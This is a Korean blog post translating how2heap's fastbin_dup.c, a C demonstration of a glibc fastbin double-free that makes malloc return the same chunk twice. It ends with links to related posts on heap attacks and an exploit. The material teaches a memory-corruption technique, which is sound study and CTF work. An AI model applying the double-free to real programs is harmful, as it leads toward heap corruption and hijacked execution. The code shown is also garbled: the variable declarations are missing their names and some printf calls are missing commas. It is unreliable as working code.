본문 바로가기

system

[how2heap translation] fastbin_dup.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("이 파일은 fastbin에서의 간단한 double-free attack 을 보여준다.\n");
 
    printf("세 개의 버퍼를 할당한다.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);
 
    printf("첫 번째 청크를 프리한다...\n");
    free(a);
 
    printf("만약 우리가 %p를 다시 free한다면, crash가 일어날 것이다. 그 이유는 %p는 freelist의 가장 맨 위에 있기 때문이다..\n", a, a);
    // free(a);
 
    printf("따라서, 대신 우리는 %p를 free한다.\n", b);
    free(b);
 
    printf("이제 우리는 %p를 다시 free 할 수 있다. 왜냐하면 이 이후로 freelist의 맨 위에 있지 않기 때문이다.  \n", a);
    free(a);
 
    printf("이제 freelist는 [ %p, %p, %p ] 를 가지고 있다. 만약 우리가 3번의 malloc을 했을 때, 우리는 %p를 두 번 할당 받을 것이다!\n", a, b, a, a);
    printf("1st malloc(8): %p\n"malloc(8));
    printf("2nd malloc(8): %p\n"malloc(8));
    printf("3rd malloc(8): %p\n"malloc(8));
}
 
 
cs


 

'system' 카테고리의 다른 글

[how2heap translation] unsorted_bin_attack.c  (0) 2017.02.07
[how2heap translation] fastbin_dup_into_stack.c  (0) 2017.01.11
MP3 CD Converter Exploit  (0) 2016.11.22
SEH(Structured Exception Handler)  (0) 2016.11.17
Use-After-Free 취약점  (0) 2016.11.08